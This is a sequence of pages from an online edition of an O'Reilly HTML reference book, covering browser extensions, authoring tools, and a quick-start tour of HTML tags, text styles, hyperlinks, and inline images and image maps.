You don't have to write in HTML 3.2 for long before you realize its limitations. That's why Netscape Navigator quickly became the most popular browser less than a year after it was released. While others were content to implement HTML standards, the developers at Netscape were hard at work extending the language and their browser to capture the potentially lucrative and certainly exciting commercial markets on the Web.

With a market presence like that, Netscape leads not only the market, but the standards drive as well. Those browser features that Netscape provides and that aren't part of HTML 3.2 quickly become de facto standards because so many people use them. Consequently, Netscape is the browser other developers must emulate. For instance, Internet Explorer, developed in collaboration with Spyglass (the purveyor of NCSA technologies) and bundled with Windows 95, adopts most of Netscape's enhancements to HTML and has some embellishments of its own.

Extensions: Pro and Con

Every software vendor adheres to the technological standards; it's embarrassing to be incompatible and your competitors will take every opportunity to remind buyers of your product's failure to comply, no matter how arcane or useless that standard might be. At the same time, vendors seek to make their products different and better than the competition's offerings. Netscape's and Internet Explorer's extensions to standard HTML are perfect examples of these market pressures at work.

Many HTML document authors feel safe using these extended browsers' nonstandard extensions, because of their combined and commanding share of users. For better or worse, extensions to HTML made by the folks at Netscape or Microsoft instantly become part of the street version of HTML, much like English slang creeping into the vocabulary of most Frenchmen despite the best efforts of the Académie Française.

The reality, however, is that browsers are becoming less and less standard--de facto or not. The W3C isn't keeping up. And other browser developers are not about to remain quiescent for long. Increasingly, browser competitors are implementing the many extensions to HTML and adding a few of their own for good measure.

Avoiding Extensions

In general, we urge you to resist using an HTML extension unless you have a compelling and overriding reason to do so. By using them, particularly in key portions of your documents, you run the risk of losing a substantial portion of your potential readership. Sure, the Netscape community is large enough to make this point moot now, but even so, you are excluding several million people without Netscape from your pages.

Of course, there are varying degrees of dependency on HTML extensions. If you use some of the horizontal rule extensions, for example, most other browsers will ignore the extended attributes and render a conventional horizontal rule. On the other hand, reliance upon a number of font size changes and text alignment extensions to control your document appearance will make your document look terrible on many alternative browsers. It might not even display at all on browsers that don't support the extensions.

We admit that it is a bit disingenuous of us to decry the use of HTML extensions while presenting complete descriptions of their use. In keeping with the general philosophy of the Internet, we'll err on the side of handing out rope and guns to all interested parties while hoping you have enough smarts to keep from hanging yourself or shooting yourself in the foot.

Our advice still holds, though: only use an extension where it is necessary or very advantageous, and do so with the understanding that you are disenfranchising a portion of your audience. To that end, you might even consider providing separate, standards-based versions of your documents to accommodate users of other browsers.

Beyond Extensions: Exploiting Bugs

It is one thing to take advantage of an extension to HTML, and quite another to exploit known bugs in a particular version of a browser to achieve some unusual document effect.

A good example is the multiple-body bug in Version 1.1 of Netscape Navigator. The HTML standard insists that an HTML document have exactly one <body> tag, containing the body of the document. The now-obsolete browser allowed any number of <body> tags, processing and rendering each <body> in turn. By placing several <body> tags in an HTML document, an author could achieve crude animation effects when the document was first loaded into the browser. The most popular trick used several <body> tags, each with a slightly different background color. This trick results in a document fade-in effect.

The party ended when Version 1.2 of Netscape fixed the bug. Suddenly, thousands of documents lost their fancy fade-in effect. Although faced with some rather fierce complaints, to their credit, the people at Netscape stood by their decision to adhere to the standard, placing compliance higher on their list of priorities than nifty rendering hacks.

In that light, we can unequivocally offer this advice: never exploit a bug in a browser to achieve a particular effect in your documents.

Previous | Home | Next
HTML: What It Isn't | Book Index | Tools for the HTML Designer
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.6 Tools for the HTML Designer

HTML: The Definitive Guide

Previous Chapter 1
HTML and the World Wide Web 		Next

1.6 Tools for the HTML Designer

While you can use the barest of barebones text editors to create HTML documents, most HTML authors have a bit more elaborate toolbox of software utilities than a simple word processor. You also need, at least, a browser so you can test and refine your work. Beyond the essentials are some software tools specialized for HTML document preparation and editing, and others for developing and preparing accessory multimedia files.

Essentials

At the very least, you'll need an editor, a browser to check your work, and ideally, a connection to the Internet.

Word processor or HTML editor?

Some authors use the word-processing capabilities of their specialized HTML editing software. Others, such as ourselves, prefer to compose their work on a general word processor and later insert the HTML tags and their attributes. Still others embed HTML tags as they compose.

We think the stepwise approach--compose, then mark up--is the better way. Word processors typically have more and better writing tools, such as an outliner, spell-checker, and thesaurus, so you can craft the document's flow and content well, disregarding for the moment its look. We find that once we've defined and written the document's content, it's much easier to make a second pass to judiciously and effectively add the HTML tags to format the text. Note, too, that, unless specially trained (if they can be), spell-checkers and thesauruses typically choke on HTML markup tags and their various parameters. You can spend what seems to be a lifetime clicking the ignore button on all those otherwise valid markup tags when syntax- or spell-checking an HTML document.

When and how you embed HTML tags into your document dictates the tools you need. Some word processors, such as WordPerfect or Word, come with automated tools, and there are third-party ones, too, that automatically translate your word-processed documents into HTML. Don't expect miracles, though. Except for boilerplate documents, you probably will need to nurse those automated HTML documents to full health.

Another word of caution about HTML editors: not all adhere to the HTML 3.2 standard, so examine their specifications before using one, and certainly before purchasing one. Moreover, some of the WYSIWYG (what-you-see-is-what-you-get) HTML editors don't have up-to-date built-in browsers, so they may erroneously decode the HTML tags and give you misleading displays.

Browser software

Obviously, you should view your newly composed HTML documents and test their functionality before you release them for use by others. For serious HTML authors, particularly those looking to push their documents beyond the HTML standards, we recommend that you have several browser products, perhaps with versions running on different computers, just to be sure one's delightful display isn't another's nightmare.

The currently popular, and so most important, browsers are Netscape Navigator and Internet Explorer. Obtain evaluation copies of the software via anonymous FTP from their respective servers (ftp.netscape.com and ftp.microsoft.com), or contact your local computer software dealer for a commercial version (about $50).

Internet connection

We think you should have bona fide access to the Internet if you are really serious about learning and honing your HTML writing skills. Okay, it's not absolutely essential since you can compose and view HTML documents locally. And for some, a connection is perhaps not even possible or practical, but make the effort: there's sometimes no better way to learn than by example. HTML examples abound on the Internet, both good and bad, whose source HTML you can download and examine.

Moreover, an Internet connection is essential for development and testing if you include hypertext links to Internet services in your HTML documents. But, most of all, an Internet connection gives you access to a wealth of tips and ongoing updates to the language through special-interest newsgroups, as well as much of the essential and accessory software you can use to prepare HTML document collections.

An Extended Toolkit

If you're serious about creating documents, you'll soon find there are all sorts of nifty tools that make life easier. The list of freeware, shareware, and commercial products grows daily, so it's not very useful to provide a list here. This is, in fact, another good reason why you should get an Internet connection; various groups keep updated lists of HTML resources on the Web. If you are really dedicated to writing in HTML, you will visit those sites, and you will visit them regularly to keep abreast of the language, tools, and trends.

We think the following three web sites are the most useful for HTML authors. Each contains dozens, sometimes hundreds, of hyperlinks to detailed descriptions of products and other important information for the HTML author. Go at it.

http://www.stars.com
http://union.ncsa.uiuc.edu/HyperNews/get/www.html
http://www.yahoo.com

Previous | Home | Next
Nonstandard Extensions | Book Index | HTML Quick Start
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] HTML Quick Start

HTML: The Definitive Guide

Previous Chapter 2 Next

2. HTML Quick Start

Contents:

Select a new section and then directly to it:

We didn't spend hours studiously poring over some reference book before we wrote our first HTML document. You probably shouldn't, either. HTML is simple to read and understand, and it's simple to write, too. So let's get started without first learning a lot of arcane rules.

To help you get that quick, satisfying start, we've included this chapter as a brief summary of the many elements of HTML. Of course, we've left out a lot of details and some tricks you should know. Read the upcoming chapters to get the essentials for becoming fluent in HTML.

Even if you are familiar with HTML, we recommend you work your way through this chapter before tackling the rest of the book. It not only gives you a working grasp of basic HTML and its jargon, you'll also be more productive later, flush with the confidence that comes from creating attractive documents in such a short time.

2.1 Writing Tools

Use any text editor to create HTML documents, as long as it can save your work on disk in ASCII text file format. That's because even though HTML documents include elaborate text layout and pictures, they're all just plain old ASCII documents themselves. A fancier WYSIWYG editor or an HTML translator for your favorite word processor are fine, too--although they may not support the many nonstandard HTML features we discuss later in this book. You'll probably end up touching up the HTML source text they produce, as well.

While not needed to compose HTML, you should have at least one version of a popular World Wide Web browser installed on your computer to view your work, preferably Netscape Navigator or Microsoft's Internet Explorer. That's because the HTML source document you compose on your text editor doesn't look anything like what gets displayed by a browser, even though it's the same document. Make sure what your readers actually see is what you intended by viewing the HTML document yourself with a browser. Besides, the popular ones are free over the Internet. If you can't retrieve a browser copy yourself, get a friend to give you a copy.

Also note that you don't need a connection to the Internet or the World Wide Web to write and view your HTML documents. You may compose and view your documents stored on a hard drive or floppy disk that's attached to your computer. You can even navigate among your local documents with HTML's hyperlinking capabilities without ever being connected to the Internet, or any other network, for that matter. In fact, we recommend that you work locally to develop and thoroughly test your HTML documents before you share them with others.

We strongly recommend, however, that you do get a connection to the Internet and to the World Wide Web if you are serious about composing your own HTML documents. You may download and view others' interesting web pages and see how they accomplished some interesting feature--good or bad. Learning by example is fun, too. (Reusing others' work, on the other hand, is often questionable, if not downright illegal.) An Internet connection is essential if you include in your work hyperlinks to other documents on the Internet.

Previous | Home | Next
Tools for the HTML Designer | Book Index | A First HTML Document
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.2 A First HTML Document

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.2 A First HTML Document

It seems every programming language book ever written starts off with a simple example on how to display the message, "Hello, World!" Well, you won't see a "Hello, World!" example in this book. After all, this is a style guide for the next millennium. Instead, ours sends greetings to the World Wide Web:

<html>
<head>
<title>My first HTML document</title>
</head>
<body>
<h2>My first HTML document</h2>
Hello, <i>World Wide Web!</i>
 <!-- No "Hello, World" for us -->
<p>
               Greetings from<br>
<a href="http://www.ora.com">O"Reilly & Associates</a>
<p>
Composed with care by:
<cite>(insert your name here)</cite>
<br>&copy;2000 and beyond
</body>
</html>

Go ahead: Type in the example HTML source on a fresh word-processing page and save it on your local disk as myfirst.html. Make sure you select to save it in ASCII format; word processor-specific file formats like Microsoft Word's .doc files save hidden characters that can confuse the browser software and disrupt your HTML document's display.

After saving myfirst.html (or myfirst.htm if you are using a DOS- or Windows 3.11-based computer) onto disk, start up your browser, locate, and then open the document from the program's File menu. Your screen should look like Figure 2.1.

Figure 2.1: A very simple HTML document

[Graphic: Figure 2-1]

Previous | Home | Next
Writing Tools | Book Index | HTML Embedded Tags
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.3 HTML Embedded Tags

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.3 HTML Embedded Tags

You probably have noticed right away, perhaps in surprise, that the browser displays less than half of the example source text. Closer inspection of the source reveals that what's missing is everything that's bracketed inside a pair of less-than (<) and greater-than (>) characters. [the section called "HTML Tags"]

HTML is an embedded language: you insert the language's directions or tags into the same document that you and your readers load into a browser to view. The browser uses the information inside the HTML tags to decide how to display or otherwise treat the subsequent contents of your HTML document.

For instance, the <i> tag that precedes the word "Hello" in the simple example tells the browser to display the following text in italic.[1] [the section called "Physical Style Tags"]

[1] Italicized text is a very simple example and one that most browsers, except the text-only variety like Lynx, can handle. In general, the browser tries to do as it is told, but as we demonstrate in upcoming chapters, browsers vary from computer to computer and from user to user, as do the fonts that are available and selected by the user for viewing HTML documents. Assume that not all are capable or willing to display your HTML document exactly as it appears on your screen.

The first word in a tag is its formal name, which usually is fairly descriptive of its function, too. Any additional words in a tag are special attributes, sometimes with an associated value after an equal sign (=), which further define or modify the tag's actions.

Start and End Tags

Most tags define and affect a discrete region of your HTML document. The region begins where the tag and its attributes first appear in the source document (also called the start tag ) and continues until a corresponding end tag. An end tag is the start tag's name preceded by a forward slash (/). For example, the end tag that matches the "start italicizing" <i> tag is </i>.

End tags never include attributes. Most, but not all, tags have an end tag. And, to make life a bit easier for HTML authors, the browser software often infers an end tag from surrounding and obvious context, so you needn't explicitly include some end tags in your source HTML document. (We tell you which are optional and which are never omitted when we describe each tag in later chapters.) Our simple example is missing an end tag that is so commonly inferred and hence not included in the source that many veteran HTML authors don't even know that it exists. Which one?

Previous | Home | Next
A First HTML Document | Book Index | HTML Skeleton
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.4 HTML Skeleton

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.4 HTML Skeleton

Notice, too, in our simple example source that precedes Figure 2.1, the HTML document starts and ends with <html> and </html> tags. Of course, these tags tell the browser that the entire document is composed in HTML. The HTML standard requires an <html> tag for every HTML document, but most browsers can detect and properly display HTML encoding in a text document that's missing this outermost structural tag. [the section called "The <html> Tag"]

Like our example, all HTML documents have two main structures: a head and a body, each bounded in the source by respectively named start and end tags. You put information about the document in the head and the contents you want displayed in the browser's window inside the body. Except in rare cases, you'll spend most of your time working on your HTML document's body content. [the section called "The <head> Tag"] [the section called "The <body> Tag"]

There are several different document header tags you may use to define how a particular document fits into a document collection and into the larger scheme of the Web. Some nonstandard header tags even animate your document.

For most documents, however, the important header element is the title. Every HTML document is required by the HTML standard to have a title. Choose a meaningful one; the title should instantly tell the reader what the document is about. Enclose yours, as we do for the title of our example, between the <title> and </title> tags in your document's header. The popular browsers typically display the title at the top of the document's window onscreen. [the section called "The <title> Tag"]

Previous | Home | Next
HTML Embedded Tags | Book Index | The Flesh on an HTML Document
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.5 The Flesh on an HTML Document

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.5 The Flesh on an HTML Document

Except for the <html>, <head>, <body>, and <title> tags, the HTML standard has few other required structural elements. You're free to include pretty much anything else in the contents of your document. (The Web surfers among you know that HTML authors have taken full advantage of that freedom, too.) Perhaps surprisingly, though, there are only three main types of HTML content: tags (which we describe above), comments, and text.

Comments

Like computer-programming source code, a raw HTML document, with all its embedded tags, can quickly become nearly unreadable. We strongly encourage that you use HTML comments to guide your composing eye.

Although it's part of your document, nothing in a comment, including the body of your comment that goes between the special starting tag "<!- -" and ending tag delimiters "- ->" gets included in the browser display of your document. Now you see a comment in the source, like in our simple HTML example, and now you don't on the display, as evidenced by our comment's absence in Figure 2.1. Anyone can download the source text of the HTML document and read the comments, though, so be careful what you write. [the section called "Comments"]

Text

If it isn't a tag or a comment, it's text. The bulk of content in most of your HTML documents--the part readers see on their browser displays--is text. Special tags give the text structure, such as headings, lists, and tables. Others advise the browser how the content should be formatted and displayed.

Multimedia

What about images and other multimedia elements we see and hear as part of our web browser displays? Aren't they part of the HTML document? No. The data that comprise digital images, movies, sounds, and other multimedia elements that may be included in the browser display are in documents separate from the HTML document. You include references to those multimedia elements via special tags in the HTML document. The browser uses the references to load and integrate other types of documents with your HTML text.

We didn't include any special multimedia references in the previous example simply because they are separate, nontext documents you can't just type into a text processor. We do, however, talk about and give examples on how to integrate images and other multimedia in your HTML documents later in this chapter, as well as in extensive detail in subsequent chapters.

Previous | Home | Next
HTML Skeleton | Book Index | HTML and Text
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.6 HTML and Text

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.6 HTML and Text

Text-related HTML tags comprise the richest set of all in the standard language. That's because HTML emerged as a way to enrich the structure and organization of text.

HTML came out of academia. What was and still is important to those early developers was the ability of their mostly academic, text-oriented documents to be scanned and read without sacrificing their ability to distribute documents over the Internet to a wide diversity of computer display platforms. (ASCII text is the only universal format on the global Internet.) Multimedia integration is something of an appendage to HTML, albeit an important one.

And page layout is secondary to structure in HTML. We humans visually scan and decide textual relationships and structure based on how it looks; machines can only read encoded markings. Because HTML documents have encoded tags that relate meaning, they lend themselves very well to computer-automated searches and recompilation of content--features very important to researchers. It's not so much how something is said in HTML as what is being said.

Accordingly, HTML is not a page-layout language. In fact, given the diversity of user-customizable browsers as well as the diversity of computer platforms for retrieval and display of electronic documents, all HTML strives to accomplish is to advise, not dictate, how the document might look when rendered by the browser. You cannot force the browser to display your document in any certain way. You'll hurt your brain if you insist otherwise.

Appearance of Text

For instance, you cannot predict what font and what absolute size--8- or 40-point Helvetica, Geneva, Subway, or whatever--will be used for a particular user's text display. Okay, so the latest browsers now support HTML style sheets and other desktop publishing-like features that let you control the layout and appearance of your documents. But users may change their browser's display characteristics and override your carefully laid plans at will; the majority of browsers out there don't support these new layout features, and some browsers are text-only with no nice fonts at all. What to do? Concentrate on content. Cool pages are a flash in the pan. Deep content will bring people back for more and more.

Nonetheless, style does matter for readability, and it is good to include it where you can, as long as it doesn't interfere with content presentation. You can attach common style attributes to your text with physical style tags like the italic <i> tag in the simple example. More importantly and truer to the language's original purpose, HTML has content-based style tags that attach meaning to various text passages. And you can alter text display characteristics, such as font style and size, color, and so on, with Cascading Style Sheets and JavaScript-based Style Sheets.

All of today's graphical browsers recognize the physical and content-related text style tags and change the appearance of their related text passage to visually convey meaning or structure. You just can't predict exactly what that change will look like.

Content-based text styles

Content-based style tags indicate to the browser that a specific portion of your HTML text has a specific usage or meaning. The <cite> tag in our simple example, for instance, means the enclosed text is some sort of citation--the document's author, in this case. Browsers commonly, although not universally, display the citation text in italic, not as regular text. [the section called "Content-Based Style Tags"]

While it may or may not be obvious to the current reader that the text is a citation, someday, someone might create a computer program that searches a vast collection of HTML documents for embedded <cite> tags and compiles a special list of citations from the enclosed text. Similar software agents already scour the Internet for HTML-embedded information to compile listings, such as the infamous Webcrawler and the Lycos Home Page databases of web sites.

The most common content-based style used today is that of emphasis, indicated with the <em> tag. And if you're feeling really emphatic, you might use the <strong> content style. Other content-based styles include <code>, for snippets of programming code; <kbd>, to denote text entered by the user via a keyboard; <samp>, to mark sample text; <dfn>, for definitions; and <var>, to delimit variable names within programming code samples. All of these tags have corresponding end tags.

Physical styles

Even the barest of barebones text processors conform to a few traditional text styles, such as italic and bold characters. While HTML is not a word-processing tool in the traditional sense, it does provide tags that tell the browser explicitly to display (if it can) a character, word, or phrase in a particular physical style.

Although you should use related content-based tags for the reasons we argue above, sometimes form is more important than function. So use the <i> tag to italicize text, without imposing any specific meaning; the <b> tag to display text in boldface; or the <tt> tag so that the browser, if it can, displays the text in a teletype-style monospaced typeface. [the section called "Physical Style Tags"]

It's easy to fall into the trap of using physical styles when you should really be using a content-based style instead. Discipline yourself now to use the content-based styles, because, as we argue above, they convey meaning as well as style, thereby making your documents easier to automate and manage.

Special text characters

Not all text characters available to you for display by a browser can be typed from the keyboard. And some characters have special meanings in HTML, such as the brackets around tags, which if not somehow differentiated when used for plain text--the less-than sign (<) in a math equation, for example--will confuse the browser and trash your document. HTML gives you a way to include any of the many different characters that comprise the ASCII character set anywhere in your text through a special encoding of its character entity.

Like the copyright symbol in our simple example, a character entity starts with an ampersand followed by its name, and terminated with a semicolon. (Alternatively, you may also use the character's position number in the ASCII table of characters preceded by the pound or sharp sign ( #) in lieu of its name in the character entity sequence.) When rendering the document, the browser displays the proper character, if it exists in the user's font. [the section called "Character Entities"]

For obvious reasons, the most commonly used character entities are the greater-than (&gt;), less-than (&lt;), and ampersand (&amp;) characters. Check Appendix E, Character Entities, to find what symbol the character entity &#166; represents.

Text Structures

It's not obvious in our simple example, but the common carriage returns we use to separate paragraphs in our source document have no meaning in HTML, except in special circumstances. You could have typed the document onto a single line in your text editor and it would still appear the same in Figure 2.1.[2]

[2] We use a computer programming-like style of indentation so our source HTML documents are more readable. It's not obligatory, nor are there any formal style guidelines for source HTML document text formats. We do, however, highly recommend you adopt your own consistent style, so that you and others can easily follow your source documents.

You'd soon discover, too, if you hadn't read it here first, that except in special cases, browsers typically ignore leading and trailing spaces, and sometimes more than a few in between. (If you look closely at the source example, the line "Greetings from" looks like it should be indented by leading spaces, but it isn't in Figure 2.1.)

Paragraphs and line breaks

A browser takes the text in the body of your document and "flows" it onto the computer screen, disregarding any common carriage-return or line-feed characters in the source. The browser fills as much of each line of the display window as possible, beginning flush against the left margin, before stopping after the rightmost word and moving on to the next line. Resize the browser window, and the text reflows to fill the new space; indicating HTML's inherent flexibility.

Of course, readers would rebel if your text just ran on and on, so HTML does provide both explicit and implicit ways to control the basic structure of your document. The most rudimentary and common ways are with the paragraph (<p>) and the line-break (<br>) tags. Both break the text flow, which consequently restarts on a new line. The only apparent difference is that with most browsers, the paragraph tag adds more vertical space after the line break. [the section called "The <p> Tag"] [the section called "The <br> Tag"]

By the way, the HTML standard includes an end tag for the paragraph tag, but not for the line break tag. Few authors ever include the paragraph end tag in their documents; the browser usually can figure out where one paragraph ends and another begins.[3] Give yourself a star if you knew that </p> even exists.

[3] The paragraph end tag is being used more commonly now that the popular browsers support the paragraph-alignment attribute.

Headings

Besides breaking your text into paragraphs, you also can organize your documents into sections with headings. Just as they do on this and other pages in this printed book, HTML headings not only divide and entitle discrete passages of text: they also convey meaning visually. With HTML, however, headings also lend themselves to machine-automated analyses.

There are six HTML heading tags, <h1> through <h6>, with corresponding end tags. Typically, the browser displays their contents in, respectively, very large to very small font sizes, and sometimes in boldface. The text inside the <h4> tag is usually the same size as the regular text. [the section called "Heading Tags"]

The heading tags also typically break the current text flow, standing alone on lines and separated from surrounding text, even though there aren't any explicit paragraph or line-break tags before or after a heading.

Horizontal rules

Besides headings, HTML also provides horizontal rule lines that help delineate and separate the sections of your document.

When the browser encounters an <hr> tag in your document, it breaks the flow of text and draws a line completely across the display window on a new line. The flow of text resumes immediately below the rule. [the section called "The <hr> Tag"]

Preformatted text

Occasionally, you'll want the browser to display a block of text as-is: for example, with indented lines and vertically aligned letters or numbers that don't change even though the browser window might get resized. The HTML <pre> tag rises to those occasions. All text up to the closing </pre> end tag appears in the browser window exactly as you type it, including carriage returns and line feeds, leading, trailing, and intervening spaces. Although very useful for tables and forms, <pre> text turns out pretty dull; the popular browsers render the block in a monospace typeface. [the section called "The <pre> Tag"]

Previous | Home | Next
The Flesh on an HTML Document | Book Index | Hyperlinks
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.7 Hyperlinks

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.7 Hyperlinks

While text may be the meat and bones of an HTML document, its heart is hypertext. Hypertext gives users the ability to retrieve and display a different document in your own or someone else's collection simply by a click of the mouse on an associated word or phrase (hyperlink ) in your HTML document. Use these interactive hyperlinks to help readers easily navigate and find information--in your own, or others' collections--of otherwise separate documents in a variety of formats, including multimedia, HTML, and plain ASCII text. Hyperlinks literally bring the wealth of knowledge on the whole Internet to the tip of the mouse pointer.

To include a hyperlink to some other document in your own collection or on a server in Timbuktu, all you need to know is the document's unique address and how to drop an anchor into your HTML document.

URLs

While it is hard to believe, given the millions, perhaps billions, of them out there, every document and resource on the Internet has a unique address known as its uniform resource locator (URL; commonly pronounced "you-are-ell"). A URL is comprised of the document's name preceded by the hierarchy of directory names in which the file is stored (pathname), the Internet domain name of the server that hosts the file, and the software and manner by which the browser and the document's host server communicate to exchange the document (protocol):

protocol://server_domain_name/pathname

Here are some sample URLs:

http://www.kumquat.com/docs/catalog/price_list.html
http:price_list.html
http://www.kumquat.com/
ftp://ftp.netcom.com/pub/

The first example is what's known as an absolute or complete URL. It includes every part of the URL format--protocol, server, and the pathname of the document.

While absolute URLs leave nothing to the imagination, they can lead to big headaches when you move documents to another directory or server. Fortunately, browsers also let you use relative URLs and automatically fill in any missing portions with respective parts from the current document's base URL. The second example is the simplest relative URL of all; it assumes that the price_list.html document is located on the same server and in the same directory as the current document.

Relative URLs are also useful if you don't know a directory or document's name. The third URL example, for instance, points to kumquat.com's web home page.

Although appearances may deceive, the last FTP example URL actually is absolute; it points directly at the contents of the /pub directory.

Anchors

The anchor (<a>) tag is the HTML feature for defining both the source and the destination of a hyperlink.[4] You'll most often see and use the <a> tag with its href attribute to define a source hyperlink. The value of the attribute is the URL of the destination.

[4] The nomenclature here is a bit unfortunate: the "anchor" tag should mark just a destination, not the jumping off point of a hyperlink, too. You "drop anchor"; you don't jump off one. We won't even mention the atrociously confusing terminology the HTML standard uses for the various parts of a hyperlink except to say that someone got things all "bass ackwards."

The contents of the source <a> tag--the words and/or images between it and its </a> end tag--is the portion of the HTML document that is specially activated in the browser display and that users select to take a hyperlink. These anchor contents usually look different from the surrounding content (text in a different color or underlined, images with specially colored borders), and the mouse pointer icon changes when passed over them. The <a> tag contents, therefore, should be text or an image (icons are great) that explicitly or intuitively tells users where the hyperlink will take them. [the section called "The <a> Tag"]

For instance, the browser will specially display and change the mouse pointer when it passes over the "Kumquat Archive" text in the following example:

For more information on kumquats, visit our
<a href="http://www.kumquat.com/archive.html">
Kumquat Archive</a>

If the user clicks the mouse button on that text, the browser automatically retrieves from the server www.kumquat.com a web (http:) page named archive.html, and then displays it for the user.

Hyperlink Names and Navigation

Pointing to another document in some collection somewhere on the other side of the world is not only cool, but it also supports your own HTML documents. Yet the hyperlinks' chief duty is to help users navigate your collection in their search for valuable information. Hence, the concept of the home page and supporting HTML documents has arisen.

None of your HTML documents should run on and on. First, there's the performance issue: the value of your work suffers, no matter how rich it is, if the document takes forever to download, and if once retrieved, users must endlessly scroll up and down through the display to find a particular section.

Rather, design your work as a collection of several compact and succinct pages, like chapters in a book, each focused to a particular topic for quick selection and browsing by the user. Then use hyperlinks to organize that collection.

For instance, use your home page--the leading document of the collection--as a master index full of brief descriptions and respective hyperlinks to the rest of your collection.

You should also use the special attribute of the <a> tag called name. Anchors with the name attribute serve as internal hyperlink targets in your HTML documents. Normally, the browser displays a freshly downloaded document at the beginning. Name anchors let you begin the display at the section of interest further down. Simply include them anywhere that they make sense as a hyperlink target. They do not change the appearance of enclosed or surrounding content.

Thereafter, you may append the name, after a separating pound sign (#), as a suffix in the URL of a hyperlink that references that specific place in your document. For instance, to reference a specific topic in an archive, such as "Kumquat Stew Recipes" in our example Kumquat Archive, you mark that section with a name anchor:

... preceding content...
<a name="Stews">
<h3>Kumquat Stew Recipes</h3>
</a>

In the same or another document, you prepare a source hyperlink that points directly to those recipes by including the section's anchor name as a suffix to the document's URL, separated by a pound sign:

For more information on kumquats, visit our
<a href="http://www.kumquat.com/archive.html">
  Kumquat Archive</a>,
and perhaps try one or two of our
<a href="http://www.kumquat.com/archive.html#Stews">
  Kumquat Stew Recipes</a>.

If selected by the user, the latter hyperlink causes the browser to download the archive.html document and start the display at our "Stews" anchor.

Anchors Beyond HTML

HTML hyperlinks are not limited to other HTML documents. Anchors let you point to nearly any type of document available over the Internet, including other Internet services.

However, "let" and "enable" are two different things. Browsers can manage the various Internet services, like FTP and Gopher, so that users can download non-HTML documents. They don't yet fully or gracefully handle multimedia.

Today, there are few standards for the many types and formats of multimedia. Computer systems connected to the Web vary wildly in their abilities to display those sound and video formats. Except for some graphics images, standard HTML gives you no specific provision for display of multimedia documents except the ability to reference one in an anchor. The browser, which retrieves the multimedia document, must activate a special helper application, download and execute an associated applet, or have a plugin accessory installed to decode and display it for the user.

Although HTML and most web browsers currently avoid the confusion by sidestepping it, that doesn't mean you can't or shouldn't exploit multimedia in your HTML documents: just be aware of the limitations.

Previous | Home | Next
HTML and Text | Book Index | Images Are Special
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.8 Images Are Special

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.8 Images Are Special

Image files are multimedia elements you may reference with anchors in your HTML document for separate download and display by the browser. But, unlike other multimedia, standard HTML has a provision for image display "in line" with the text,[5] and images can serve as intricate maps of hyperlinks. That's because there is some consensus in the industry concerning image file formats--specifically, GIF and JPEG--and the graphical browsers have built in decoders that integrate those image types into your document.

[5] Browser developers are integrating other multimedia besides GIF and JPEG graphics for inline display. Internet Explorer, for instance, supports a tag that plays background audio.

Inline Images

The HTML tag for inline images is <img>; its required src attribute is the URL of the GIF or JPEG image you want to insert in the document. [the section called "The <img> Tag"]

The browser separately loads images and places them into the text flow as if the image were some special, albeit sometimes very large, character. Normally, that means the browser aligns the bottom of the image to the bottom of the current line of text. You can change that with the special <img> align attribute whose value you set to put the image at the top, middle, or bottom of adjacent text. Examine Figure 2.2 through Figure 2.4 for the image alignment you prefer. Of course, wide images may take up the whole line, and hence break the text flow. Or you may place an image by itself, by including preceding and following paragraph or line-break tags.

Figure 2.2: An inline image aligned with the bottom of the text (default)

[Graphic: Figure 2-2]

Figure 2.3: An inline image specially aligned with the middle of the text

[Graphic: Figure 2-3]

Figure 2.4: An inline image specially aligned with the top of the text

[Graphic: Figure 2-4]

Experienced HTML authors use images not only as supporting illustrations, but also as quite small inline characters or glyphs, added to aid browsing readers' eyes and to highlight sections of the documents. Veteran HTML authors commonly add custom list bullets or more distinctive section dividers than the conventional horizontal rules. Images, too, may be included in a hyperlink, so that users may select an inline thumbnail sketch to download a full-screen image. The possibilities with inline images are endless.

Image Maps

Image maps are images within an anchor with a special attribute: they may contain more than one hyperlink.

One way to enable an image map is by adding the ismap attribute to an <img> tag placed inside an anchor tag (<a>). When the user clicks somewhere in the image, the graphical browser sends the relative x,y coordinates of the mouse position to the server that is also designated in the anchor. A special server program then translates the image coordinates into some special action, such as downloading another HTML document. [the section called "Server-Side Image Maps"]

A good example of the use of an image map might be to locate a hotel while traveling. The user clicks on a map of the region they intend to visit, for instance, and your image map's server program might return the names, addresses, and phone numbers of local accommodations.

While very powerful and visually appealing, these standard so-called server-side image maps mean that HTML authors must have some access to the map's coordinate-processing program on the server. Many authors don't even have access to the server. Recent innovations in browser software remove those barriers by enabling client-side image maps.

Rather than depending on a web server, the usemap attribute for the <img> tag and the <map> and <area> tags let HTML authors embed all the information the browser needs to process an image map in the same document as the image. Because of their reduced network bandwidth and server independence, client-side image maps are becoming increasingly popular among HTML authors. [the section called "Client-Side Image Maps"]

Previous | Home | Next
Hyperlinks | Book Index | Lists, Searchable Documents, and Forms
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.9 Lists, Searchable Documents, and Forms

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

